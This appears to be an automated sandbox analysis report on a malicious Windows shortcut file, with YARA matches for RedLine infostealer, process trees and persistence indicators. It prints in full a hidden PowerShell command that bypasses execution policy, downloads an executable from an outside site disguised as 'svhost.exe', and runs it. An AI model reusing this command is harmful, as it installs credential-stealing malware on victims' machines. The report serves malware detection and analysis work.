Source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.svhost.exe.56e0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.svhost.exe.4760090.1.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.4760090.1.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.56e0000.5.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.42b0010.3.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: HKTL_NET_NAME_DotNetInject date = 2021-01-22, author = Arnim Rupp, description = Detects .NET red/black-team tools via name, reference = https://github.com/dtrizna/DotNetInject, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-28
Source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.327507977.000001D9DA350000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000000.00000002.327351810.000001D9DA340000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000000.00000002.381690727.000001D9F43C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000000.00000002.327507977.000001D9DA359000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: svhost.exe PID: 5428, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF8163D1660	0_2_00007FF8163D1660
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_0173EDB0	2_2_0173EDB0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_01736B49	2_2_01736B49
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_0173716B	2_2_0173716B
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_01731110	2_2_01731110
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_01736DC0	2_2_01736DC0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_017310E0	2_2_017310E0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_017313C8	2_2_017313C8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_017313B9	2_2_017313B9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056BF5D8	2_2_056BF5D8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056B86B8	2_2_056B86B8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056B1070	2_2_056B1070
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056BCEF8	2_2_056BCEF8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056B29E0	2_2_056B29E0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056BF5C9	2_2_056BF5C9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056B86A9	2_2_056B86A9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_056BCEE8	2_2_056BCEE8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_05A56EB0	2_2_05A56EB0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_05A50007	2_2_05A50007
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_05A50040	2_2_05A50040
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_05A56EA0	2_2_05A56EA0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0175FA30	7_2_0175FA30
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0175DE10	7_2_0175DE10
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0175D2F0	7_2_0175D2F0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057821D8	7_2_057821D8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_05781D98	7_2_05781D98
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578BE80	7_2_0578BE80
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057868F8	7_2_057868F8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_05782610	7_2_05782610
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_05780190	7_2_05780190
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E5530	7_2_057E5530
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E7738	7_2_057E7738
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E772B	7_2_057E772B
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E4288	7_2_057E4288

Source: svhost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Opgcxhsdw.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	ReversingLabs: Detection: 74%
Source: 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	Virustotal: Detection: 59%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\user\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\user\AppData\Roaming\svhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe "C:\Users\user\AppData\Roaming\svhost.exe"
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe "C:\Users\user\AppData\Roaming\svhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk

LNK file: ..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\svhost.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tkd4yp5.4vu.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winLNK@18/15@3/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5540:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3584:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3216:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 2.2.svhost.exe.5960000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.464775648.0000000005960000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Opgcxhsdw.exe PID: 624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Opgcxhsdw.exe PID: 5216, type: MEMORYSTR

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\user\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\user\AppData\Roaming\svhost.exe'

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_03106A52 pushad ; ret	2_2_03106D71
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_03106A58 pushad ; ret	2_2_03106D71
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 2_2_05A531EA push edx; iretd	2_2_05A531F1
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578D45F push 8BD08B6Dh; iretd	7_2_0578D464
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578FC20 push 8BD08B6Dh; iretd	7_2_0578FC25
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578D91B push A4057D3Eh; retf	7_2_0578D925
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578D839 push 8BD08B6Dh; iretd	7_2_0578D83E
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578D880 push edi; iretd	7_2_0578D886
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578D887 push 8BD08B6Dh; iretd	7_2_0578D88C
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_0578FB90 push 8BD08B6Dh; iretd	7_2_0578FB9C
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057EB5C0 push cs; ret	7_2_057EB5F4
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E87C3 push eax; iretd	7_2_057E87C9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057EE1F2 push eax; retf	7_2_057EE1F9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057EE1F0 pushad ; retf	7_2_057EE1F1
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057EE044 push eax; iretd	7_2_057EE04A
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057EE028 push ecx; iretd	7_2_057EE029
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 7_2_057E7393 push esp; ret	7_2_057E7399

Source: initial sample	Static PE information: section name: .text entropy: 7.998651527995621
Source: initial sample	Static PE information: section name: .text entropy: 7.998651527995621

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Tries to download and execute files (via powershell)

Source: unknown

